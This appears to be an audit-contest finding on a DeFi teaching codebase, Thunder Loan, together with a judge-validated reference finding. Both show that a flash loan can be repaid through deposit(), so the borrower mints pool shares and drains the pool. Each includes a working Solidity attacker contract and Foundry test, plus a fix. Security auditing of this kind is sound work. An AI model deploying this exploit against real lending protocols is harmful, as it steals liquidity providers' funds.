Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

# A borrower can `deposit()` instead of `repay()` inside a flash loan and steal the pool's liquidity

A borrower can deposit() instead of repay() inside a flash loan and steal the pool's liquidity

Severity: High · Impact: High · Likelihood: High

Description

  • A flash loan must be repaid within the same transaction; flashloan() enforces this only by checking that the AssetToken's balance ends at startingBalance + fee.

  • Nothing forces the borrower to use repay(). deposit() also sends the underlying to the AssetToken, so it satisfies the balance check — but unlike repay(), deposit() additionally mints the caller AssetTokens (a redeemable claim on the pool). deposit() is not blocked during a flash loan (s_currentlyFlashLoaning is never checked there). The borrower therefore turns the loan into an LP position and later redeem()s it, keeping the borrowed funds.

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
...
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) { // deposit() satisfies this...
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
}
function deposit(IERC20 token, uint256 amount) external ... {
...
@> assetToken.mint(msg.sender, mintAmount); // ...AND mints a redeemable claim
...
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

  • Occurs whenever anyone takes a flash loan and chooses to call deposit(amount + fee) from executeOperation instead of repay() — a one-transaction action available to any user at any time.

Impact:

  • The attacker drains the pool of the borrowed amount: they repay the loan "on paper" as a deposit, then redeem() the minted AssetTokens for the underlying, walking away with liquidity that belongs to the LPs.

Proof of Concept

Save the block below as test/PocH2.t.sol and run forge test --mt test_attacker_drains_pool_via_deposit -vv. An LP seeds 1000 tokens; the attacker, funding only the small fee, ends with >500 tokens and the pool is drained.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract PocH2 is Test {
ThunderLoan thunderLoan;
ERC20Mock token;
address lp = makeAddr("lp");
function setUp() public {
ThunderLoan impl = new ThunderLoan();
MockPoolFactory factory = new MockPoolFactory();
token = new ERC20Mock();
factory.createPool(address(token));
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(factory));
thunderLoan.setAllowedToken(IERC20(address(token)), true);
token.mint(lp, 1000e18);
vm.startPrank(lp);
token.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(IERC20(address(token)), 1000e18);
vm.stopPrank();
}
function test_attacker_drains_pool_via_deposit() public {
AssetToken assetToken = thunderLoan.getAssetFromToken(IERC20(address(token)));
uint256 poolBefore = token.balanceOf(address(assetToken));
uint256 borrow = 500e18;
uint256 fee = thunderLoan.getCalculatedFee(IERC20(address(token)), borrow);
Attacker attacker = new Attacker(thunderLoan, token);
token.mint(address(attacker), fee); // attacker only needs the fee up front
attacker.attack(borrow); // deposits (amount+fee) instead of repaying
attacker.withdraw(); // redeems the minted AssetTokens
console.log("pool before: ", poolBefore);
console.log("pool after: ", token.balanceOf(address(assetToken)));
console.log("attacker gained:", token.balanceOf(address(attacker)));
assertGe(token.balanceOf(address(attacker)), borrow); // kept the borrowed funds
assertLt(token.balanceOf(address(assetToken)), poolBefore); // pool drained
}
}
contract Attacker {
ThunderLoan thunderLoan;
ERC20Mock token;
constructor(ThunderLoan _tl, ERC20Mock _t) { thunderLoan = _tl; token = _t; }
function attack(uint256 borrow) external {
thunderLoan.flashloan(address(this), IERC20(address(token)), borrow, "");
}
function executeOperation(address _token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
uint256 dep = amount + fee;
IERC20(_token).approve(address(thunderLoan), dep);
thunderLoan.deposit(IERC20(_token), dep); // instead of repay()
return true;
}
function withdraw() external {
thunderLoan.redeem(IERC20(address(token)), type(uint256).max);
}
}

Recommended Mitigation

Block deposit() while a flash loan for that token is in progress, so the loan can only be closed through repay().

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!